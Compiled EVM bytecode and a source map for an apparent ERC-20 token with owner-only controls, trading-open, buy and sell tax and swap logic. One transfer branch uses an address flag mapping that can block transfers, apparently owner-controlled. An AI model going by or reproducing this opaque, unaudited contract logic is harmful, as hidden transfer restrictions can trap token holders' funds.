16331461045d5760405162461bcd60e51b81526004016104549061171a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104549061171a565b6104da6009600a6116f5565b6104e9906461f313f880611703565b600e556104f86009600a6116f5565b610507906461f313f880611703565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105376009600a6116f5565b610546906461f313f880611703565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105825760405162461bcd60e51b81526004016104549061171a565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105cc9030906105bd6009600a6116f5565b61041c906461f313f880611703565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610640919061174f565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c3919061174f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610731919061174f565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461077c5760405162461bcd60e51b81526004016104549061171a565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107b3573d5f5f3e3d5ffd5b50565b5f610399338484610acb565b5f546001600160a01b031633146107eb5760405162461bcd60e51b81526004016104549061171a565b601354600160a01b900460ff16156108455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610454565b6012546001600160a01b031663f305d7194730610876816001600160a01b03165f9081526001602052604090205490565b5f5f6108895f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ef573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610914919061176a565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610969573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d9190611795565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610454565b6001600160a01b038216610a6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610454565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610454565b6001600160a01b038216610b915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610454565b5f8111610bf25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610454565b601354600160b01b900460ff161580610c145750601354600160a81b900460ff165b15610cbe576001600160a01b0383165f90815260016020526040902054610c3c9082906117b4565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6b9082906117c7565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abe9085815260200190565b5f5f8211610cd557610cd0825f6111b0565b610cdf565b610cdf825f611215565b90505f610cf35f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2157505f546001600160a01b03858116911614155b8015610d3b57506005546001600160a01b03858116911614155b1561103a576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d7d575f5ffd5b600d545f03610db557610db26064610dac600a54600d5411610da157600654610da5565b6008545b8690611256565b906112d4565b90505b6013546001600160a01b038681169116148015610de057506012546001600160a01b03858116911614155b8015610e0457506001600160a01b0384165f9081526003602052604090205460ff16155b15610f0757600e54831115610e5b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610454565b600f5483610e7d866001600160a01b03165f9081526001602052604090205490565b610e8791906117c7565b1115610ed55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610454565b610ef06064610dac600a54600d5411610da157600654610da5565b600d80549192505f610f01836117da565b91905055505b5f600d54118015610f2f57506001600160a01b0385165f9081526004602052604090205460ff165b15610f57575f8311610f4a57610f45835f611703565b610f54565b610f54835f611256565b91505b6013546001600160a01b038581169116148015610f7d57506001600160a01b0385163014155b15610faa57610fa76064610dac600b54600d5411610f9d57600754610da5565b6009548690611256565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fe057506013546001600160a01b038681169116145b8015610ff55750601354600160b01b900460ff165b80156110045750600c54600d54115b15611038576010548111156110305761103061102b8561102684601154611315565b611315565b611329565b611038611499565b505b80156110b257305f9081526001602052604090205461105990826111b0565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a99085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110d49083611215565b6001600160a01b0386165f908152600160205260409020556111176110f98483611215565b6001600160a01b0386165f90815260016020526040902054906111b0565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111608685611215565b60405190815260200160405180910390a35050505050565b5f818484111561119b5760405162461bcd60e51b815260040161045491906114fb565b505f6111a784866117b4565b95945050505050565b5f806111bc83856117c7565b90508381101561120e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610454565b9392505050565b5f61120e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611178565b5f825f0361126557505f61039d565b5f6112708385611703565b90508261127d85836117f2565b1461120e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610454565b5f61120e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cf565b5f818311611323578261120e565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061136f5761136f611811565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113c6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ea919061174f565b816001815181106113fd576113fd611811565b6001600160a01b03928316602091820292909201015260125461142391309116846109a7565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061145b9085905f90869030904290600401611825565b5f604051808303815f87803b158015611472575f5ffd5b505af1158015611484573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107b3573d5f5f3e3d5ffd5b5f81836114ef5760405162461bcd60e51b815260040161045491906114fb565b505f6111a784866117f2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107b3575f5ffd5b5f5f60408385031215611555575f5ffd5b823561156081611530565b946020939093013593505050565b5f5f5f60608486031215611580575f5ffd5b833561158b81611530565b9250602084013561159b81611530565b929592945050506040919091013590565b5f602082840312156115bc575f5ffd5b813561120e81611530565b5f5f604083850312156115d8575f5ffd5b82356115e381611530565b915060208301356115f381611530565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561164d57808504811115611631576116316115fe565b600184161561163f57908102905b60019390931c928002611616565b935093915050565b5f826116635750600161039d565b8161166f57505f61039d565b8160018114611685576002811461168f576116ab565b600191505061039d565b60ff8411156116a0576116a06115fe565b50506001821b61039d565b5060208310610133831016604e8410600b84101617156116ce575081810a61039d565b6116da5f198484611612565b805f19048211156116ed576116ed6115fe565b029392505050565b5f61120e60ff841683611655565b808202811582820484141761039d5761039d6115fe565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561175f575f5ffd5b815161120e81611530565b5f5f5f6060848603121561177c575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117a5575f5ffd5b8151801515811461120e575f5ffd5b8181038181111561039d5761039d6115fe565b8082018082111561039d5761039d6115fe565b5f600182016117eb576117eb6115fe565b5060010190565b5f8261180c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118755783516001600160a01b031683526020938401939092019160010161184e565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220060f34b591106a9a26572170fa378a15e0f695f9bb509cdf4dbdd8054e6c311864736f6c634300081b0033

3633:7830:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5969:83;;;;;;;;;;-1:-1:-1;6039:5:0;;;;;;;;;;;;-1:-1:-1;;;6039:5:0;;;;5969:83;;;;;;;:::i;:::-;;;;;;;;6800:161;;;;;;;;;;-1:-1:-1;6800:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6800:161:0;945:187:1;4716:51:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4716:51:0;1137:177:1;6246:95:0;;;;;;;;;;;;;:::i;6969:313::-;;;;;;;;;;-1:-1:-1;6969:313:0;;;;;:::i;:::-;;:::i;6155:83::-;;;;;;;;;;-1:-1:-1;6155:83:0;;4343:1;1974:36:1;;1962:2;1947:18;6155:83:0;1832:184:1;6349:117:0;;;;;;;;;;-1:-1:-1;6349:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6442:16:0;6415:7;6442:16;;;:7;:16;;;;;;;6349:117;2714:148;;;;;;;;;;;;;:::i;:::-;;10062:159;;;;;;;;;;;;;:::i;4530:53::-;;;;;;;;;;;;;;;;2500:79;;;;;;;;;;-1:-1:-1;2538:7:0;2565:6;2500:79;;-1:-1:-1;;;;;2565:6:0;;;2419:51:1;;2407:2;2392:18;2500:79:0;2273:203:1;4590:55:0;;;;;;;;;;;;;;;;6060:87;;;;;;;;;;-1:-1:-1;6132:7:0;;;;;;;;;;;;-1:-1:-1;;;6132:7:0;;;;6060:87;;5569:392;;;;;;;;;;;;;:::i;10332:109::-;;;;;;;;;;;;;:::i;6474:167::-;;;;;;;;;;-1:-1:-1;6474:167:0;;;;;:::i;:::-;;:::i;4652:57::-;;;;;;;;;;;;;;;;10977:483;;;;;;;;;;;;;:::i;6649:143::-;;;;;;;;;;-1:-1:-1;6649:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6757:18:0;;;6730:7;6757:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6649:143;6800:161;6875:4;6892:39;2157:10;6915:7;6924:6;6892:8;:39::i;:::-;-1:-1:-1;6949:4:0;6800:161;;;;;:::o;6246:95::-;6299:7;4401:13;4343:1;4401:2;:13;:::i;:::-;4386:28;;:12;:28;:::i;:::-;6319:14;;6246:95;:::o;6969:313::-;7067:4;7084:36;7094:6;7102:9;7113:6;7084:9;:36::i;:::-;7131:121;7140:6;2157:10;7162:89;7200:6;7162:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7162:19:0;;;;;;:11;:19;;;;;;;;2157:10;7162:33;;;;;;;;;;:37;:89::i;:::-;7131:8;:121::i;:::-;-1:-1:-1;7270:4:0;6969:313;;;;;:::o;2714:148::-;2627:6;;-1:-1:-1;;;;;2627:6:0;2157:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;;;;;;;;;2821:1:::1;2805:6:::0;;2784:40:::1;::::0;-1:-1:-1;;;;;2805:6:0;;::::1;::::0;2784:40:::1;::::0;2821:1;;2784:40:::1;2852:1;2835:19:::0;;-1:-1:-1;;;;;;2835:19:0::1;::::0;;2714:148::o;10062:159::-;2627:6;;-1:-1:-1;;;;;2627:6:0;2157:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;4401:13:::1;4343:1;4401:2;:13;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;:::-;10115:12;:22:::0;4401:13:::1;4343:1;4401:2;:13;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;:::-;10148:14;:22:::0;10186:27:::1;4401:13;4343:1;4401:2;:13;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;:::-;10186:27;::::0;1283:25:1;;;1271:2;1256:18;10186:27:0::1;;;;;;;10062:159::o:0;5569:392::-;2627:6;;-1:-1:-1;;;;;2627:6:0;2157:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;5622:15:::1;:104:::0;;-1:-1:-1;;;;;;5622:104:0::1;5673:42;5622:104:::0;;::::1;::::0;;;5737:58:::1;::::0;5754:4:::1;::::0;4401:13:::1;4343:1;4401:2;:13;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;5737:58::-;5840:15;;;;;;;;;-1:-1:-1::0;;;;;5840:15:0::1;-1:-1:-1::0;;;;;5840:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5822:55:0::1;;5900:4;5920:15;;;;;;;;;-1:-1:-1::0;;;;;5920:15:0::1;-1:-1:-1::0;;;;;5920:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5822:131;::::0;-1:-1:-1;;;;;;5822:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5420:32:1;;;5822:131:0::1;::::0;::::1;5402:51:1::0;5489:32;;5469:18;;;5462:60;5375:18;;5822:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5806:13;:147:::0;;-1:-1:-1;;;;;;5806:147:0::1;-1:-1:-1::0;;;;;5806:147:0;;;::::1;::::0;;;::::1;::::0;;5569:392::o;10332:109::-;2627:6;;-1:-1:-1;;;;;2627:6:0;2157:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;2538:7;2565:6;;10385:48:::1;::::0;-1:-1:-1;;;;;2565:6:0;;;;10411:21:::1;10385:48:::0;::::1;;;::::0;10411:21;;10385:48;2538:7;10385:48;10411:21;2565:6;10385:48;::::1;;;;;;;;;;;;;;;;;;;;10332:109::o:0;6474:167::-;6552:4;6569:42;2157:10;6593:9;6604:6;6569:9;:42::i;10977:483::-;2627:6;;-1:-1:-1;;;;;2627:6:0;2157:10;2627:22;2619:67;;;;-1:-1:-1;;;2619:67:0;;;;;;;:::i;:::-;11039:11:::1;::::0;-1:-1:-1;;;11039:11:0;::::1;;;11038:12;11030:48;;;::::0;-1:-1:-1;;;11030:48:0;;5735:2:1;11030:48:0::1;::::0;::::1;5717:21:1::0;5774:2;5754:18;;;5747:30;5813:25;5793:18;;;5786:53;5856:18;;11030:48:0::1;5533:347:1::0;11030:48:0::1;11089:15;::::0;-1:-1:-1;;;;;11089:15:0::1;:31;11128:21;11173:4;11193:24;11173:4:::0;-1:-1:-1;;;;;6442:16:0;6415:7;6442:16;;;:7;:16;;;;;;;6349:117;11193:24:::1;11232:1;11248;11264:7;2538::::0;2565:6;-1:-1:-1;;;;;2565:6:0;;2500:79;11264:7:::1;11089:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11089:223:0;;;-1:-1:-1;;;;;6206:32:1;;;11089:223:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;11286:15:0::1;6454:19:1::0;;;6447:35;6160:19;;11089:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11330:13:0::1;::::0;11361:15:::1;::::0;11323:71:::1;::::0;-1:-1:-1;;;11323:71:0;;-1:-1:-1;;;;;11361:15:0;;::::1;11323:71;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;11330:13:0;::::1;::::0;-1:-1:-1;11323:29:0::1;::::0;7101:18:1;;11323:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11405:11:0::1;:18:::0;;-1:-1:-1;;;;11434:18:0;-1:-1:-1;;;11434:18:0;;;10977:483::o;7290:335::-;-1:-1:-1;;;;;7383:19:0;;7375:68;;;;-1:-1:-1;;;7375:68:0;;7717:2:1;7375:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;7375:68:0;7515:400:1;7375:68:0;-1:-1:-1;;;;;7462:21:0;;7454:68;;;;-1:-1:-1;;;7454:68:0;;8122:2:1;7454:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;7454:68:0;7920:398:1;7454:68:0;-1:-1:-1;;;;;7533:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7585:32;;1283:25:1;;;7585:32:0;;1256:18:1;7585:32:0;;;;;;;;7290:335;;;:::o;7633:2315::-;-1:-1:-1;;;;;7721:18:0;;7713:68;;;;-1:-1:-1;;;7713:68:0;;8525:2:1;7713:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;7713:68:0;8323:401:1;7713:68:0;-1:-1:-1;;;;;7800:16:0;;7792:64;;;;-1:-1:-1;;;7792:64:0;;8931:2:1;7792:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;7792:64:0;8729:399:1;7792:64:0;7884:1;7875:6;:10;7867:64;;;;-1:-1:-1;;;7867:64:0;;9335:2:1;7867:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;7867:64:0;9133:405:1;7867:64:0;7947:11;;-1:-1:-1;;;7947:11:0;;;;7946:12;;:22;;-1:-1:-1;7962:6:0;;-1:-1:-1;;;7962:6:0;;;;7946:22;7942:209;;;-1:-1:-1;;;;;8001:13:0;;;;;;:7;:13;;;;;;:22;;8017:6;;8001:22;:::i;:::-;-1:-1:-1;;;;;7985:13:0;;;;;;;:7;:13;;;;;;:38;;;;8052:11;;;;;;;:20;;8066:6;;8052:20;:::i;:::-;-1:-1:-1;;;;;8038:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8092:26;;;;;;;;;;8111:6;1283:25:1;;1271:2;1256:18;;1137:177;7942:209:0;8161:17;8186:1;8179:6;:8;:40;;8204:15;:6;8215:3;8204:10;:15::i;:::-;8179:40;;;8188:15;:6;8199:3;8188:10;:15::i;:::-;8161:58;-1:-1:-1;8220:14:0;8259:7;2538;2565:6;-1:-1:-1;;;;;2565:6:0;;2500:79;8259:7;-1:-1:-1;;;;;8251:15:0;:4;-1:-1:-1;;;;;8251:15:0;;;:32;;;;-1:-1:-1;2538:7:0;2565:6;-1:-1:-1;;;;;8270:13:0;;;2565:6;;8270:13;;8251:32;:54;;;;-1:-1:-1;8293:12:0;;-1:-1:-1;;;;;8287:18:0;;;8293:12;;8287:18;;8251:54;8247:1370;;;-1:-1:-1;;;;;8363:13:0;;;;;;;:9;:13;;;;;;;8340:12;;;;;8330:23;;;;:46;;-1:-1:-1;;8330:46:0;8363:13;;;;8362:14;8330:46;;;;;8322:55;;;;;;8395:9;;8406:1;8395:12;8392:136;;8436:76;8508:3;8436:67;8458:15;;8448:9;;:25;8447:55;;8488:14;;8447:55;;;8475:12;;8447:55;8436:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8427:85;;8392:136;8554:13;;-1:-1:-1;;;;;8546:21:0;;;8554:13;;8546:21;:55;;;;-1:-1:-1;8585:15:0;;-1:-1:-1;;;;;8571:30:0;;;8585:15;;8571:30;;8546:55;:76;;;;-1:-1:-1;;;;;;8607:15:0;;;;;;:11;:15;;;;;;;;8605:17;8546:76;8542:410;;;8662:12;;8652:6;:22;;8644:60;;;;-1:-1:-1;;;8644:60:0;;10008:2:1;8644:60:0;;;9990:21:1;10047:2;10027:18;;;10020:30;10086:27;10066:18;;;10059:55;10131:18;;8644:60:0;9806:349:1;8644:60:0;8757:14;;8747:6;8731:13;8741:2;-1:-1:-1;;;;;6442:16:0;6415:7;6442:16;;;:7;:16;;;;;;;6349:117;8731:13;:22;;;;:::i;:::-;:40;;8723:79;;;;-1:-1:-1;;;8723:79:0;;10362:2:1;8723:79:0;;;10344:21:1;10401:2;10381:18;;;10374:30;10440:28;10420:18;;;10413:56;10486:18;;8723:79:0;10160:350:1;8723:79:0;8830:76;8902:3;8830:67;8852:15;;8842:9;;:25;8841:55;;8882:14;;8841:55;;8830:76;8925:9;:11;;8821:85;;-1:-1:-1;8925:9:0;:11;;;:::i;:::-;;;;;;8542:410;8979:1;8969:9;;:11;:28;;;;-1:-1:-1;;;;;;8982:15:0;;;;;;:9;:15;;;;;;;;8969:28;8966:82;;;9016:1;9009:6;:8;:37;;9034:12;:6;9042:3;9034:12;:::i;:::-;9009:37;;;9018:15;:6;9029:3;9018:10;:15::i;:::-;8999:47;;8966:82;9071:13;;-1:-1:-1;;;;;9065:19:0;;;9071:13;;9065:19;:43;;;;-1:-1:-1;;;;;;9088:20:0;;9103:4;9088:20;;9065:43;9062:172;;;9139:79;9214:3;9139:70;9161:16;;9151:9;;:26;9150:58;;9193:15;;9150:58;;;9179:13;;9139:6;;:10;:70::i;:79::-;9130:88;;9062:172;9297:4;9248:28;6442:16;;;:7;:16;;;;;;9323:6;;-1:-1:-1;;;9323:6:0;;;;9322:7;:30;;;;-1:-1:-1;9339:13:0;;-1:-1:-1;;;;;9333:19:0;;;9339:13;;9333:19;9322:30;:45;;;;-1:-1:-1;9356:11:0;;-1:-1:-1;;;9356:11:0;;;;9322:45;:79;;;;;9383:18;;9371:9;;:30;9322:79;9318:288;;;9448:17;;9425:20;:40;9422:135;;;9488:69;9505:51;9509:6;9517:38;9521:20;9543:11;;9517:3;:38::i;:::-;9505:3;:51::i;:::-;9488:16;:69::i;:::-;9576:14;:12;:14::i;:::-;8307:1310;8247:1370;9630:8;;9627:149;;9691:4;9675:22;;;;:7;:22;;;;;;:34;;9702:6;9675:26;:34::i;:::-;9668:4;9652:22;;;;:7;:22;;;;;;;:57;;;;9727:37;;-1:-1:-1;;;;;9727:37:0;;;;;;;9757:6;1283:25:1;;1271:2;1256:18;;1137:177;9727:37:0;;;;;;;;9627:149;-1:-1:-1;;;;;9800:13:0;;;;;;:7;:13;;;;;;:28;;9818:9;9800:17;:28::i;:::-;-1:-1:-1;;;;;9786:13:0;;;;;;:7;:13;;;;;:42;9851:35;9867:18;:6;9878;9867:10;:18::i;:::-;-1:-1:-1;;;;;9851:11:0;;;;;;:7;:11;;;;;;;:15;:35::i;:::-;-1:-1:-1;;;;;9839:11:0;;;;;;;:7;:11;;;;;:47;;;;9902:38;;;9921:18;:6;9932;9921:10;:18::i;:::-;9902:38;;1283:25:1;;;1271:2;1256:18;9902:38:0;;;;;;;7702:2246;;7633:2315;;;:::o;1254:190::-;1340:7;1376:12;1368:6;;;;1360:29;;;;-1:-1:-1;;;1360:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1400:9:0;1412:5;1416:1;1412;:5;:::i;:::-;1400:17;1254:190;-1:-1:-1;;;;;1254:190:0:o;923:179::-;981:7;;1013:5;1017:1;1013;:5;:::i;:::-;1001:17;;1042:1;1037;:6;;1029:46;;;;-1:-1:-1;;;1029:46:0;;10857:2:1;1029:46:0;;;10839:21:1;10896:2;10876:18;;;10869:30;10935:29;10915:18;;;10908:57;10982:18;;1029:46:0;10655:351:1;1029:46:0;1093:1;923:179;-1:-1:-1;;;923:179:0:o;1110:136::-;1168:7;1195:43;1199:1;1202;1195:43;;;;;;;;;;;;;;;;;:3;:43::i;1452:246::-;1510:7;1534:1;1539;1534:6;1530:47;;-1:-1:-1;1564:1:0;1557:8;;1530:47;1587:9;1599:5;1603:1;1599;:5;:::i;:::-;1587:17;-1:-1:-1;1632:1:0;1623:5;1627:1;1587:17;1623:5;:::i;:::-;:10;1615:56;;;;-1:-1:-1;;;1615:56:0;;11435:2:1;1615:56:0;;;11417:21:1;11474:2;11454:18;;;11447:30;11513:34;11493:18;;;11486:62;-1:-1:-1;;;11564:18:1;;;11557:31;11605:19;;1615:56:0;11233:397:1;1706:132:0;1764:7;1791:39;1795:1;1798;1791:39;;;;;;;;;;;;;;;;;:3;:39::i;9956:98::-;10013:7;10040:1;10038;:3;10037:9;;10045:1;10037:9;;;-1:-1:-1;10043:1:0;9956:98;-1:-1:-1;9956:98:0:o;10449:483::-;5169:6;:13;;-1:-1:-1;;;;5169:13:0;-1:-1:-1;;;5169:13:0;;;10551:16:::1;::::0;;10565:1:::1;10551:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10551:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10551:16:0::1;10527:40;;10596:4;10578;10583:1;10578:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10578:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10622:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10622:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10578:7;;10622:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10612:4;10617:1;10612:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10612:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10687:15:::1;::::0;10655:62:::1;::::0;10672:4:::1;::::0;10687:15:::1;10705:11:::0;10655:8:::1;:62::i;:::-;10728:15;::::0;:196:::1;::::0;-1:-1:-1;;;10728:196:0;;-1:-1:-1;;;;;10728:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10809:11;;10728:15:::1;::::0;10851:4;;10878::::1;::::0;10898:15:::1;::::0;10728:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5205:6:0;:14;;-1:-1:-1;;;;5205:14:0;;;-1:-1:-1;;;;10449:483:0:o;10229:95::-;10272:12;;:44;;-1:-1:-1;;;;;10272:12:0;;;;10294:21;10272:44;;;;;:12;:44;:12;:44;10294:21;10272:12;:44;;;;;;;;;;;;;;;;;;;1846:189;1932:7;1967:12;1960:5;1952:28;;;;-1:-1:-1;;;1952:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1991:9:0;2003:5;2007:1;2003;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846: